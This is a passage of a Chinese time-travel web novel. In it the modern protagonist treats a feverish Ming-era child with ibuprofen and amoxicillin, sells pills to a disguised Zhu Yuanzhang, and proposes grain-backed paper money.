“吃就吃,辣椒都还没种出来,种出来我给你么你随便撒!” 朱安宁恼火地拍了拍桌子,只觉得天天伺候这三个少爷真是够了,要不是看在他们能干活的份上,自己能给他们做饭?? “什么时候弄出来嘛!”朱棣有些不满,他只觉得自己的伙食被克扣了。 “最快也要再等一月!” 朱安宁捧着自己的碗,坐到了桌前,开始吃了起来。 “对了,最近城里街口老是在传那些个公侯们,说他们被皇帝罚了俸禄,还说好几个被关了禁闭,什么情况啊。”朱安宁在那一边吃一边说:“要是和胡惟庸有牵连,不可能罚得这么轻吧,听大妈们说,罚的理由是欺压百姓。” 朱棣朱橚正在那吃着没什么滋味的鸡蛋面,他们都知道是什么情况……但是,这可不能说。 只剩下李景隆尴尬地笑了几声。 被罚的每一个公侯,都与他有关…… 但是,他也不能说。 见没有人回答自己的话,朱安宁也无所谓,他耸了耸肩,换了个话题:“我看庄里的草房都建得差不多了,过些时日就要分秧了啊。是时候挖些小水渠引水了,不然到时浇不好田。” “嗯,朱哥说得对,但是这挖渠,可不是小活啊,得由您出面去和大家说道说道。”朱橚也吃了口面,对朱安宁说道。 “而且,怎么挖啊?”朱棣补了句。 “挖还不简单,前些日子给你们的那关于水利的书,不都写好了么。” “对哦。” “那我下午,就找大家说道说道吧,找戚叔让大家集合下就好。” 第七十二章 药 几个人在小院那边休息。 朱安宁则想早点定好下午的事情。 便也顶着太阳就出了门,田间已经没有多少人。 大部分人应该都已经回屋休息。 毕竟这大太阳,是个人都熬不住。 朱安宁也走快了几步,结果却远远就听到有人说话的声音。 看着就刚好是戚祥。 他旁边正跟着一个哭个不停的妇人,和一个脸色阴晴不定的汉子。 “戚哥,你得帮俺们请个大夫啊,多少钱都行,俺先欠着你的,一定还……我们家做牛做马都会给你还。”那妇人拉着戚祥的手,眼看就要跪下了。 而那个脸色阴晴不定的汉子,也开了口。 “行了行了,别哭了!!!戚哥……劳烦您帮俺家请个大夫吧……这应天府,俺们人生地不熟,只能求你了……” “都怨你,俺早就说要请大夫,你这憨货天天就只会说没事的,自己会好的,怎么好嘛!!!我儿有个三长两短我和你拼了!”那妇人回头对那汉子喝道。 而那汉子,却也不敢回话。 只能拉着戚祥,跪下。 “哎,你们哎,拖得这么严重才和咱说,我现在就去找大夫。” 戚祥知道这两人情况,大概就是没钱银,不敢请大夫,而现在孩子病得严重了,眼看拖不下去了,才找的自己。 天下,只有一种病,那就是穷。 “谢谢戚哥,谢谢戚哥!”听见戚祥答应,那对夫妇在田间就磕起了头来。 “哎,你两快起来,且先回家照看孩子。” “诶……好的好的。” 三人的话全被朱安宁听到了耳中。 而戚祥,转身也看到了走到跟前的朱安宁。 “朱爷,我得先去城里找找大夫,这柳家小儿子,得了热病,一宿一宿地睡不着,现在都开始说胡话了。” “对啊,俺小儿子都开始说胡话了啊。”那妇人看到朱安宁来到跟前,又是绷不住哭了起来。 “哎,这个老柳,天天说孩子身体好,熬一熬就好了,真是个呆子,不说了,我先进城帮他找个大夫先。”戚祥也是看了一眼跪在那里的汉子,咬牙说了句。 “好好好,大概多久?” “再怎么快来回也得一个时辰。” “好,戚叔你快去。” 本想朱安宁还想找戚叔说说话,结果撞上这事,哪还能聊嘛。 也就摆了摆手,赶紧让他先进城。 至于那跪在地上的两人,朱安宁也只得先把他们扶起来。 只见那妇人哭得上气不接下气,最后还是被称作老柳的汉子,扶着她,才能勉强走动道。 朱安宁怕出意外,也一同跟进了草房里。 只见一个稍大些的小孩,正在照看着床上的孩子,估摸也就是五六岁的样子。 看那发红的脸色,想都不用想,就是发烧了。 朱安宁皱着眉头上去摸了摸,额头发烫,手脚却没有特别热,不是还在升温吧。 这烫手的感觉怕不是要出人命了啊。 那妇人和老柳看见朱安宁皱起了眉头,心里也是咯噔了一下。 “朱爷,怎么了?” “已经叫不醒了?”朱安宁连忙发问。 “叫醒了也是迷糊,不应人啊。”是那老柳回答了他。 “这样烧下去不行,我院里有药,我去拿。” 也没等那妇人和老柳回话,朱安宁就连忙跑了出去。 熬过了旱灾来到了这应天府,怎么又倒霉地发烧了呢,这小孩,自己得帮一帮。 结果他刚跑到院子门口,却撞上了熟悉的人。 “伍爷?今儿这么有空?” 院子门口,他看见朱元璋正领着季伯和一个陌生的老者,在那探头探脑。 便连忙过去打了个招呼。 只是这一开口,也是把三人吓了一跳。 “哦……我当是谁,原来是安宁小弟。这大中午的你怎么在外面晃?”朱元璋乐呵呵地笑了两声。 “哎,本来想找戚叔商量点事情的,不过他进城找大夫去了。” “大夫?” “庄里有小孩病了,挺严重的。” “那还是请大夫保险些。” “嗯,伍爷,别站在这说,天气热,咱们还是进去说话吧。” 几人站在门口说着话,太阳还是晒,朱安宁连忙抹了点汗,想把众人迎进去。 “好好。” 朱元璋他们一路走来,也是热到不行,当即就点头,走进了院子里。 本来还在院子里懒懒散散的朱棣三人,一睁眼看到就是朱安宁领着朱元璋几人走了进来,惊得那是直接跳了起来,连忙给他们让位。 “小燕,你去倒点水,我那房舍里有冰水的,你知道在哪的。” “好好好。” 朱棣哪敢说不,连忙点头去装水。 朱安宁则迎着众人坐了下来,他想打完招呼赶紧去拿药。 “季伯,好久不见啊。” “呵呵,安宁小弟许久不见。” “对了这位是?”朱安宁看向了那陌生大爷。 只见那大爷瞄了一眼朱元璋,才开始介绍自己。 “安宁小哥,咱姓韩。”那大爷规规矩矩地自我介绍。 朱元璋则接过了他儿子递过来的水。 “嗯?又是冰的?安宁小弟,这天气能喝到这冰凉的水,那舒坦啊。来来来,老季,老韩,你们也喝点。”朱元璋灌了一大口冰水进去,那是舒爽了不少,而后才继续说道:“这老韩也是我认识多年的人了,他认识的官,比我认识的多,所以带你见见。” 被称作老韩的人,听见朱元璋这话,感觉就是话里有话。 什么叫他认识的官比较多……这话可不好接。 而那刘伯温,却也是站在一旁笑而不语。 他也听懂了,朱元璋是在讽刺李善长,和朝中各个大臣,关系错综复杂。 “韩爷人脉广?那未来办事就方便了啊。”朱安宁只当朱元璋真的是正常介绍人,这种场景和穿越前工作差不多……相互介绍人嘛,这他老熟了。 “没有没有,哪能认识那么多大官呢。”李善长是连连否认。 朱元璋却也是呵呵直笑。 而朱安宁只当那韩爷是谦虚性的否认。 不过此时的他,心里也还想着那个说是烧到有些说胡话的小孩。 车里还有退烧药,不过自己也不是医生,贸贸然给这古代人吃药……刚才自己也没想这么多…… 哎,不管了,还是先去看看吧,别到时出什么大事。 想到这里,朱安宁也是站了起来。 在朱元璋等人疑惑的目光中站了起来。 “几位爷,你们先休息下,我这边想先去看看那病了的孩童。” “嗯?戚祥那边不是去请大夫了么?” “我这边有点……嗯,极西之地的药物,我去看了,那孩子蛮严重的,我在想要不要先给孩子试试我的药。” 朱安宁把话说完,就立马回房车里,把药箱翻了出来。 第七十三章 旁门左道 药箱的药都是常用药。 但是他根本就不知道这孩子是什么病,仅仅只是知道他发烧了而已。 如果是他自己,那就毫不犹豫地退烧药,喉咙发炎了就加点抗生素……别说什么滥用药物,你去医院排个几小时队,也是给你开这些…… 可是,现在并不是自己生病。 多少就有点犹豫了。 “布洛芬肯定要吃……消炎药吃不吃?”朱安宁挠了挠头,那是既怕太多又怕不够。 “算了,不管了,阿莫西林也算是安全性很高的药物,一起吃!” 那小孩状态不太妙,他也只能是非法行医赌一把了。 要是病毒性导致的发烧,那阿莫西林是屁用没有,连安慰剂都不如,还会打破菌群平衡。 但是看那严重的样子,又拖了那么多天,怕不是早就混合感染了,哪还有什么菌群平衡。 朱安宁咬牙扣下了几粒药丸,然后又心虚地抽出了那说明书,是看了又看,最终确定好了剂量,才敢把药包起来。 走下车的朱安宁,本想打个招呼就走。 那朱元璋却喝完了最后一口冰水,站了起来。 “咱也去看看怎么回事。”只听他招呼了一声。 “啊?” 于是整个院子的人都动了起来。 朱安宁也是有些无奈。 神经病吧,这么多人去,人多可以打败细菌和病毒是吧。 不过他也懒得阻止,现在给那孩子吃退烧药最紧要。 几人快步就出了院子。 朱安宁熟悉路,他自然走在最前头。 走到那柳家的草屋前,只见里面已经有了不少人。 看起来都是附近的农户。 朱安宁一看这阵势,就觉得有些不妙。 “怎么了?” “朱爷!” “朱爷来了。” “哎,老柳家小儿子,刚才烧抽抽了。” “抽抽?抽搐?” 我去,那严重了啊。 朱安宁听见附近几人的解释,知道真的不妙。 连忙挤了进去。 只见那妇人已经哭到嗓子都有些哑了,而那老柳更是急的团团转。 “没抽了吧。”朱安宁挤到了里面,一把拉住那老柳,开口问道。 “没有了,就抽抽了一会,很是吓人。”那老柳也是快速回答了朱安宁的问题。 “整点水来,快点喂我这个药。” “好好,俺去打水。” 那老柳一下就跑开了。 而朱安宁则凑到了塌前,他摸了摸那孩子的手,烫的很……那应该就是刚才的升温期引发的抽搐。 自己可没有备地西泮这种防抽搐的药…… 只希望这个孩子能挺过来,千万别在抽了啊…… “朱爷,俺家孩子还有救么,戚哥怎么还没回来啊呜呜呜。” “柳婶先别哭了……” “朱爷,水来了!” “好,把这些药丸给他服下去,孩子应该还有点回应吧。” “能能,刚才抽抽完我们喂了水,他能喝。” “那赶紧喂,这药小半个时辰内就能退烧。”朱安宁帮着老柳,把药给那孩子灌了下去。 一众人都在看着朱安宁掏出奇怪的丸子在喂那孩子。 “朱爷还会治病?” 有农夫疑惑地问了出声。 而他身边的人嗤了一声,说道:“朱爷什么不会?” “就是,你见过地主会耕地的?” “俺看朱爷,那挑粪的样子比你们家娃娃都生猛,两桶大粪扛得健步如飞。” “那是,朱爷耕田是不含糊的,而且听燕爷周爷说,朱爷做饭还好吃得紧。” “诶,还记得么,前些日子朱爷带着周爷挖了一堆野菜回来分给俺们,俺们是一种都不认识,但是煮了吃怪好吃的哩。” “对对,周爷说了,朱爷识得很多野菜草药,会治病救人就不奇怪啦。” “不愧是朱爷!” 几个农夫堵在门口那里说来道去。 却也是把朱安宁整的有点不会了。 什么叫挑粪生猛……这是骂人还是夸人? 而且自己会个屁治病救人……现在就是非法行医啊。 “哎行了行了,你们先回去歇,在这里看老柳小儿子也不会马上好起来啊。”朱安宁无语地挥了挥手,想驱散这批闲杂人等。 这群人真是越说越离谱了。 “哎,大家伙先回吧,先回吧,大家看着俺娃也不会马上好起来……”此时那老柳也终于起了点作用,他站了起来,做了个请的姿势。 “好好……” 围着看的一圈人看朱安宁有些恼火的样子,也是知道自己在这里毫无用处,便也赶紧应承了他的话,很快就散去。 只是,一群闲杂人等散去了,还有一群…… 这群朱安宁可不好驱散。 里面的农夫散去,朱元璋等人就有空余位置站进来了。 老柳本来还疑惑怎么还有人在这,结果一看,是朱棣和朱橚等人,也就没有再说什么。 “上……伍爷,这安宁小弟,是大夫?”是李善长在那发问。 朱元璋沉吟了片刻,回答了李善长的问题。 “未曾听他提过,但是这小子,稀奇古怪的东西多得很,且看。” 总之那小孩已经把药吃了下去,朱安宁是终于可以站起来舒了口气。 只要吃了退烧药,起码这高热是可以压一压的。 当然……他心里那七上八下的感觉,是压不住的…… 天知道这孩子什么情况。 草房里很快就陷入了沉寂之中,只剩下那孩子略显痛苦的呼吸声,因为体温高,他的呼吸显得有些急促。 过了不知多久,是朱橚开了口。 他是用了许久才鼓起的勇气……毕竟他老爹还在这里。 “朱哥,可以让我看看么,我学过些医……可否让我看看脉象。” “你?你会把脉?” 朱安宁听见朱橚开口,那是又惊又喜,他是知道这小周喜欢捣腾草药,没想到还会把脉。 “哎呀不早说,来来来。”他连忙给朱橚让了个位置。 要知道,给别人用药和给自己吃药,那是完全不一样的两件事……朱安宁这是越等越怕,现在有人能出来分担点压力,那是求之不得。 “老柳,柳婶,来给小周让个位置。” “好好好。” 老柳夫妇哪敢反对,连忙跟着朱安宁一起退了几步。 朱橚看了一眼朱元璋,见老朱没有反对,才敢迈开脚步。 第七十四章 学医能救明朝人 要是说朱安宁七上八下的话,朱橚差不多就是战战兢兢了。 他在南京城里是有自己的住处的,所以闲暇时他也召集了不少大夫,系统性地学过一轮医学,毕竟有兴趣嘛。 而现在这实操可是第一次啊! 还是在自己老爹面前实操。 朱橚搭到了那小孩的手边,过了许久才挤出了几个字。 “是速……速脉……” “周爷,我儿怎样……”关心则乱,那老柳还是忍不住发问。 “老柳别急别急,我再看看……”朱橚也是满头大汗,连忙开口道。 “轻取时如波涛般汹涌,来盛去衰,沉取时反而略微衰弱。” 朱橚又摸了摸那小孩的脖颈,仔细听了听呼吸声。 “大概……是洪脉,洪滑痰热……柴胡散可用……” “小周,你莫不是在背书吧。”朱安宁看朱橚那战战兢兢的样子,也是发现不对劲了。 “呃……朱哥……是……是的。” 在旁边看了许久的朱元璋,终是忍不住哼了出声。 “整日学些上不得台面的东西,还学成这样!丢人!” 朱元璋最喜欢的是好大儿朱标不必说。 老二和老四他也觉得很不错。 至于这个老五……本来期望是很高的啊!!!自己这一群儿子,难得有个看起来是是读书的料。 怎能料到,这朱橚文华殿的讲习虽然没怎么落下,但是闲余时间尽是在折腾些有的没的…… 今儿招大夫进府给他讲习,明儿就说要出城去看植物的实物。 着实是让老朱有些头疼。 明年他可是要就藩的啊,怎么放心让他去看守自己打下的江山! 所以当他看到朱橚把个脉都战战兢兢,好似怕自己怪罪的样子,那是气不打一处来。 直接就痛骂了出声。 这一下就把朱橚吓蔫了。 草屋内的气氛一时尴尬到了极点。 这突如其来的话语,却也把朱安宁给气乐了。 这不就是现代那些常见的叼毛家长的语气么? 本来自己心里就忐忑,这一路拿药用药紧张了老半天,终于有个小周出来分担压力了。 结果他老爹又在那里喷粪,真是我了个大槽,气煞我也。 “你个老伍头,什么叫旁门左道,治病救人懂不懂?!自个屁都不会就不要说小周,好歹人家还分得清……那什么脉来着,哦洪脉和速脉。” 朱安宁的语气之重,白眼之白,让李善长和刘伯温同时猛吸了一口气。 心里都不约而同地在想,这位小哥有几个九族。 朱棣更是急的直接想拦住朱安宁,让他别再说话。 只是,还未等朱棣迈步,朱元璋就拦下了他。 众人皆看不出他喜怒。 而朱安宁还在输出,他还没停下! “而且学医怎么了?老伍头你家是不是有什么东西要小周去继承啊?” “不学圣贤,学这些小道,将来有何用?”听得出,朱元璋在压抑愤怒,毕竟已经许久没有人用这种语气和他说话了。 “什么小道?医者,大道,学惠百姓,莫过行医,名相范仲淹说的!小周他这般年纪,就已经能识百草,懂药理,未来这条路说不定能有一番成就呢?” 朱安宁也是没想那么多,还在那说着话。 而此时的刘伯温和朱棣,已经开始在想一会该怎么劝朱元璋了…… “你从哪看出他能有一番成就的?” 朱元璋强忍着想打人的冲动,继续问了下去。 “呃?我……我看他骨骼惊奇!” “哼,骨骼惊奇?这是什么说法?”朱元璋还在忍耐。 被朱元璋怼了几句,朱安宁也是来了点脾气。 “他朱皇帝能微末之时起势,横扫八荒,踏北方,重新收回燕云十六州,比肩唐玄汉武。他一乞丐都能奋起草野,攘除奸凶,成就这等伟业,你儿子好歹也是个地主之后,衣食无忧的情况下,学医就不能有出息了?万一小周就是个可以比肩孙思邈,张仲景,宋慈,李时珍的人呢?” 一大串话,在草屋内回荡。 荡得朱元璋怒气都少了不少。 这…… 会不会夸得有点过了。 虽然之前这家伙也夸过自己一次……但这次,比上次夸得还牛逼。 都比肩唐玄汉武了…… 而且是当着这么多人的面夸自己…… 朱元璋一时之间,没有回应。 而他没有出声,剩下的人也只敢呼吸,谁敢说话。 过了半晌,朱元璋才轻咳了两声。 “你……你就这么看得起洪武?还有李时珍是谁?” 这问题一下把朱安宁给问懵了。 大爷,我是在和你讨论小周同学未来的进路。 朱八八只是举个例子!例子!另外……李时珍只是口误口误…… “洪武自然是非寻常帝王可比啊,但是伍爷,我现在说的是小周啊,他学医怎么了,怎么了?”李时珍是解释不清的,他索性不讲…… 看着朱安宁一副激动的样子。 气顺了不少的朱元璋也是哭笑不得。 怎么这人比自己还关心老五的样子嘛。 “行行行,老五,你要学就大大方方学,别学个半吊子在那丢人!” 听见朱元璋的话,朱橚那是直接就伏在了地上,也没管这草房的地板脏。 “是的……父……父亲!”激动之下,他差点就喊出了父皇二字。 要知道他一直就喜欢医学草药,但是却一直被朱元璋所不齿。 今日能得到朱元璋首肯,已经让他大喜望外。 而后,他更是又把头转向了朱安宁。 “以后还请先生教授我更多。”朱橚已经更换了称呼。 要说之前朱安宁教他植物辨别之法,他最多是感谢的话,今天发生这事情,已经是感激了。 朱橚这副样子这可把朱安宁吓了一跳。 “起来起来,我最多就教你认认植物而已……”他连忙弯下腰去,想扶朱橚起来。 却未曾想到,那床上的小孩,突然睁开了眼睛。 “爹娘,俺好渴……”微弱的声音传到了朱安宁的耳中。 这让他哪还顾得上地上的朱橚。 而朱橚,也是一个激灵爬了起来,凑到了床边。 朱安宁连忙伸手去摸了摸那小孩的后背。 只感觉,一片湿…… 太好了,出汗了…… 这下,朱安宁是真的松了一口气。 他自己都没有注意到,他的后背,也是一片汗水。 紧张的。 第七十五章 卖药才是暴利 出汗代表退烧。 也就是说布洛芬起作用了。 就是不知道那阿莫西林有没有用…… “朱爷神医啊!”只见朱橚才刚起来,那老柳和他老婆又跪了下去。 连那小孩的哥哥都一起跪在了地上。 不远处的朱元璋等人也是露出了惊奇的目光。 这朱安宁才给这小孩喂药完多久,怎么这小孩精神头好像就起来点了? 神药还是神医啊? “诶诶诶,怎么又跪下了?”朱安宁看着这一家人也是哭笑不得。 而且神医这名头自己怎么敢当,全靠现代制药和说明书…… 仅此而已。 “你们赶紧起来,而且小孩也只是暂时退热了而已,有没完全好,可不好说啊。” “啊?朱爷,那……” “我这又不是生死人肉白骨的药,小孩只是暂时退热了而已,你们先好生照顾他,他应该会一直发汗,及时帮他擦掉,多喝水,我今晚再来看看他。” 朱安宁扶也扶不起这几个人,也就只好开始按照自己穿越前的常识开始交代要事。 “好好好。” 那老柳听完,是连忙点头。 就冲朱安宁这药的效果,他是完全信服的。 “好,那我们也就先回去了,一群人在这里,影响小孩休息。” 朱安宁瞥了一眼这一屋子的人,是一脸无奈。 这群人跟过来是给小孩上祝福的么? 除了小周有点用,剩下的纯浪费空气…… “伍爷,季爷,韩爷,咱们先回去?” “行。” 朱元璋颔首。 于是一群人就顺着原路,不消多久,就回到了院子里。 朱安宁也顾不得还有一堆人在,进房车里就倒了杯冰水,一饮而尽。 而朱元璋也没有闲着,他正领着李善长和刘伯温两人,在那视察朱安宁的田。 他们三,都对这作物,寄予了极大的期望,所以才时不时就想来看一下。 李善长更是第一次看到这新作物。 那是啧啧称奇。 “伍爷,这长势真不错啊。” “嗯,按安宁小弟说,大抵再过两月,就能先收成一部分了。” “这也太快了吧!”不仅是李善长在咋舌,连刘伯温都忍不住轻呼了出声。 “咱是,迫不及待想看这地的收成了啊。” 几人在那轻声说着话。 朱棣和朱橚只是不敢靠前的。 而喝完水的朱安宁,也是终于回到了院子里。 只见他长长地叹了口气:“幸好有用,希望这烧能彻底退下去……” 朱橚见朱安宁出了房车,也是立马靠了过来:“先生,您那药丸是用何制成的,实在是神奇,我从未见过这般奇怪的药物啊。” “偶得的药物,药效佳,唯一的问题就是我量也不多,用一份少一份。”朱安宁看见朱橚凑过来,却也知道他想干嘛。 对植物草药的那么有兴趣的他,对布洛芬怎么会视而不见呢。 只是,这布洛芬……虽然好像挺容易制备的,但是自己又不是什么化学专业的大佬。 而且电脑里面也没有资料啊! 那真的就是用一粒少一粒啊。 “没有药方么?”朱橚追问了句。 只见朱安宁苦笑着摇了摇头。 “没有……” “那可真是是太可惜了啊。” “是的……”朱安宁又是一声叹气,如果他知道自己会穿越,那不提前买好各类工科,理科,医科,药科的书籍啊,直接帮明朝飞升一个阶级也不是不行。 可惜没有如果。 而见到朱安宁重新出现到了院子里。 朱元璋也是停下了他的视察,踱步回到了院子的桌前。 很自觉地寻了个主位,坐了下去。 “安宁小弟,你对医道很有研究?”朱元璋开门见山,没有拐弯抹角,至于刚才和朱安宁的争执,他也暂时抛到了脑后。 他见朱安宁那药物之神,不心动那是假的。 “算是知道些应急的法子,有些应急的药物罢了。”朱安宁摆了摆手,没有透露更多的信息。 虽然他和这伍爷已经是深度的战略伙伴关系,但是手上这些药物,他是不会随便给人的。 首先,这古代人不懂剂量,一通乱吃,说不定极乐得更快。 其次,他也怕死啊……不得留点给自己用啊。 “呵呵,方才我看你那药,药效之快,简直骇人……” 朱元璋继续说了下去。 果真是看中了那药,朱安宁的预估没有错。 “能够卖些给我么,你方才不是说你缺钱么?咱用宝钞和你换,如何?” 朱元璋那是堆起了笑脸,在尽力表现和善的一面。 毕竟,他也不想上来就抢。 他老朱,还是讲文明的。 当然,如果这小朱同学不识好歹,那老朱同志,就要教一教他大明的一些道理了。 朱元璋扫了一眼朱安宁,在等着他的答复。 哎,这土财主,就是突出一个朴实无华,朱安宁默默在心里吐槽了句。 但是,他也是有原则的,哪能说卖就卖呢。 “伍爷,那药虽然不是很珍贵,但也是我千里迢迢带回来的呀,而且使用的量,和法子只有我知道,您家要是有人不适,来我这拿就行,卖就太过见外啦!” 朱安宁呵呵笑了几声,是以退为进。 话也说得很明白,这药只有自己会用,想要用药,自己也不吝啬,但是得过来取。 朱元璋眉头轻皱,李善长看出来了,那是不悦的表情。 “安宁小弟,药这东西,备些在宅中才有心安,我们这年纪大的人,就怕急病嘛,你要是有多,就卖些给伍爷呗。”李善长在帮朱元璋打助攻,老家伙说话还是有一套的。 只是朱安宁也不是那种刚出社会的小年轻,脸皮质量还是厚度都还是靠谱的。 “诶,韩爷瞧您说的,真要起了急病,伍爷也好,您也好,尽管遣人过来,我立马八百里加急给两位送过去。” 朱安宁又是一记真诚的笑脸,太极打得也是滴水不漏。 而老朱和李善长,也是一时被噎住。 要说比说场面话,朱安宁可是久经饭局的存在。 “安宁小弟,这药很珍贵?一百两,如何?”只是,朱元璋并未放弃。 “伍爷啊……”朱安宁还想继续绕圈。 “一百两一颗。” “啊?” 第七十六章 大明粮票 一颗? 也就是一粒一百两? 这是什么钞能力? 这伍爷家除了土地,还有什么产业么?怎么这么rich?究竟是姓伍还是姓布鲁斯…… 他很想说出加钱居士的至理名言。 但是,又觉得都一百两一粒了,是不是有点过了。 “安宁小弟,咱再加点,一百五两一颗如何。”朱元璋见朱安宁迟迟没有回应,便又补了句。 其实明初的医术也不算差。 朱元璋宫内也一堆御医。 但是要用方剂来和朱安宁的药比效果快…… 那着实是有点为难那群御医了。 朱元璋也正是看中了这药起效快的特点,想备些在宫里,另外,他也动了些心思,就是买下来,丢给那些御医研究,看下能否自制。 朱安宁自然是不知道朱元璋居然动了制备药物的心思。 他现在只当朱元璋真是懂技术的狗大户啊!!! 一颗一百五,够了够了,绝对够了! 朱安宁方才的坚持,很快就在朱元璋的金钱炮弹面前败下阵来…… “伍爷,刚才在草房里是我说话太急,您才是真正懂得医道的人啊!”朱安宁猛地竖了个大拇指,确也是把一圈人都吓了一跳。 而回过味来的朱橚,也是忍不住翻了个白眼。 自己父皇愿意掏大银子就是懂医道是吧……没想到先生也有肤浅的一面…… “这么说,安宁小弟你是答应卖给咱了么?”朱元璋哈哈大笑了起来,只觉得这安宁小弟说话还真有意思,怎么自己就突然懂医道了呢。 其实他最开始是想开价千两的,毕竟这是能救命的药,钱银对他老朱来说不就是印大明宝钞么,要多少有多少。 只是他也怕开得太高吓到朱安宁,才斟酌着说低了点。 “伍爷都如此诚心了,我也不好再推辞了啊。”朱安宁也哈哈大笑了起来:“我现在就给您去取药。” 一百五十两,可不是小数目了。 朱安宁生活了一段时间,也逐渐对明初的钱银有了一定的概念。 虽然现代药物很珍贵,但是没办法,老伍给的太多了啊…… 其实他药盒里的药量并不少,这些布洛芬,阿莫西林之类的常见药,现代又不贵。 所以掰多少粒给他好呢? 在车内的朱安宁思考了片刻,决定先整他个千把两来再说。 他点了五颗布洛芬和五颗阿莫西林,用车里的宣纸包了起来,下了车。 几人看着朱安宁展开了那纸。 颜色鲜艳得有些过分的药丸,就展现在了他们眼前。 “此药,退热快且稳,此药则专攻热毒,热邪那是药到病除。” 朱安宁嘱咐了几句,顺便把用量也告诉了朱元璋。 那朱元璋自然也是满心欢喜。 而两个也是默契地没有去聊还有多少药。 朱元璋知道他朱安宁肯定还藏有,没卖给自己。 但是只要能买第一次,那自然就能买第二次。 愿意卖,就行。 “那安宁小弟,过些日子我再把宝钞送来给你?”朱元璋收下药物,乐呵呵地说道。 “啊?又宝钞?”结果却是朱安宁皱起了眉头。 “宝钞怎么了?” “呃,伍爷,我这边不收宝钞。” “为什么啊,宝钞多方便啊。”朱元璋也皱起了眉头。 “哎,伍爷,也就是咱们在这说说而已,宝钞,迟早会出大问题的。”朱安宁扫视了一圈,觉得应该都是和这伍爷亲近的人,也就大胆地开始说话。 “宝钞会出问题?”皱起眉来的这下就不止朱元璋了,连李善长和刘伯温都一同睁开了眼睛,看向了朱安宁。 他两都是朱元璋身边的顶级文臣,很多事项都是经过他们讨论才推行下去的。 自然也包括这宝钞。 “宝钞能有什么问题?”朱元璋又催促了一句,示意朱安宁快说。 “这钞,只出不进啊。”朱安宁感叹了一句。 钞这种东西,宋代就已经出现了,元朝更是大规模通用。 连元这种稀烂的朝代都能大规模通用,靠的就是与实物钱银的互通。 也就是说钞的使用,是需要准备金的啊。 而这明初的大明宝钞,那简直就是毫无信用,仅靠国家强制力去推行的【废纸】。 就是因为老朱根本没有准备金。 他只负责印发到市场中,而市场重新把钞兑换回银两的手段,那是少得可怜。 这不是耍流氓么。 制定这个政策的几人都在场。 所以朱安宁只是感叹一句,几个就沉默了下来。 他们是知道这个症结的。 但是不也是没办法么。 说白了这宝钞就是用来化解明初财政危机的…… “安宁小弟,也不能说是只出不进……洪武帝不已经是允许用宝钞来抵税了么……”刘伯温缓缓开口道。 “没用的。”朱安宁却还是摇了摇头:“宝钞只要不能自由兑换成金银,那便总有一天会变成废纸。” 被人否定的感觉并不好受。 老朱自然也是知道自己这宝钞的弊端,但是目前来看,并没有什么太好的解决办法。 “哼,咱们都能想到,洪武帝又怎么会想不到,为什么不能自由兑换成金银,那不是大明不够金银去用么。” 老朱轻哼了两声。 只当朱安宁是不当家不知财米贵,这诺大一个大明,到处都要花钱银。 要是不印这大明宝钞,朝廷早就绷不住了啊。 这番说话,朱安宁也表示认可。 明初确实缺钱。 老朱应该也是知道宝钞的弊端的。 只是宝钞这种东西,除了用金银和国家信用去绑定外,还有一个以前实践过的方案可以用。 朱安宁突然在脑中冒出了个想法。 “所以说,也不一定要用金银来锚定宝钞的使用价值嘛。” “不用金银,用什么?” “用粮食啊!粮食是民众们的刚需,任你是天皇老子还是一般平民,都逃不过一日两餐吧,让宝钞能在官家自由兑换对应的粮食,那其使用价值,不就稳定下来了么?”朱安宁兴奋地宣扬着他刚抄袭的粮票思路……反正键政嘛,随便说,又不会去实施,嘿嘿。 “用粮食?”几人都不自觉地又反问了一句。 只觉得这朱安宁的想法真是天马行空…… 第七十七章 什么霸权 “安宁小弟,你可能不知道现在的情况,北边和云南那边都还不是很安定,山东沿海又还有倭寇,粮草……咱们也不是很足啊。” 李善长开了口,虽然已经一年多没有正儿八经上过班,但是这些情况,他这个昔日的后勤大队长还是知道的。 “粮,在咱大明这里,和金银并无差别,都是缺……”朱元璋也是开了口,声音有点沉重。 有那么一瞬间,他是心动过的。 但是一想到粮仓里好不容易才存下来的,准备第三次北征的粮草,要被换出去。 他就肉疼……这可是攒了好几年的粮啊。 本质上,老朱还是小农主义思想太重。 “缺粮?”键政到,来了些精神头的朱安宁站了起来,走到了院里的田地旁指了指:“这些种出来还缺?而且退一万步讲,就算没有这些新粮,咱们大明这么多田地还未开垦,就耕种不出足够的粮食来?如果过个十几年几十年,咱们大明还是缺粮的话,那也不用说什么宝不宝钞了……这国,还能在?洪武帝这么多年来都是轻赋税,就是为了恢复秩序啊。” 话粗理不粗。 虽然朱安宁说得很不吉利。 但是确实是实话。 “那就按你这么说,粮价也不是一成不变的啊,宝钞如何锚定?”刘伯温,也加入了讨论的战局之中。 他品味了一下朱安宁所说的锚定宝钞,便知道这事情可行。 但是细节上来说,瑕疵可就太多了。 需要好好去讨论和解决才行。 而不远处的朱橚,朱棣和李景隆,已经识趣地开始去侍弄院子里那几小片田地了。 有些东西,他们不该参与,也不该讨论。 听不到最好。 这些紧要的事情,好大哥朱标才有资格参与,可惜他没来,他还在案台边苦逼地和几个阁臣讨论着机要。 没办法,老朱撂挑子,小朱就得顶上。 而院落中的朱安宁朱元璋等几人,已经围到了院中的木桌前,继续聊了下去。 “要想用粮食锚定宝钞,就需要准备足够储量的官仓,这点问题不大,咱们大明向来以官田为主……”朱安宁顿了顿,又继续说了下去:“每年保证各地的官仓保有一定量的粮食,丰收年份大量收民间粮回收宝钞,歉收年份则对外卖粮发行宝钞,具体的多寡由中央控制,如有需要,正常年份都可以发钞和收钞,这样就可以平抑粮价,保证宝钞价值的稳定,而且宝钞和粮草,实际上都是牢牢地控制在朝堂手里,很难失控的。” “这……这……”刘伯温和李善长,对视了一眼,都从对方眼中看来了疑惑。 这年轻人怎么回事。 能提出这样的计谋。 而且这一番说辞,那是相当有道理啊。 他这么能,会不会显得自己两个谋臣很呆啊。 其实朱安宁这个所谓的宝钞锚定粮食。 不过就是取某个特殊时期的特殊制度过来用一用而已。 就是超级简化版粮票,可流通那种。 在物产极为丰裕的年代,这种制度就是落后的。 但是在物资匮乏的年代,这种制度就是代表了秩序。 而现在这明初,恰恰就是物资匮乏的年代,非常契合粮票这一玩法。 “实际上就是粮和钞,其实都还在官家手里。”朱安宁敲了敲桌子,顺便还喝了口水。啊,不用负责地参政议政,口嗨就行,真爽啊! 朱元璋比起刘伯温和李善长要反应慢些,毕竟他只是打仗天才,可不是什么内政全才。 饶是这样,他也是品出了朱安宁这个制度的美妙之处。 那就是我全都要!这对老朱来说可太重要了。 而且听起来,这法子,带来的副作用要远比自己无限制发宝钞用皇权押着人去用,要低得多。 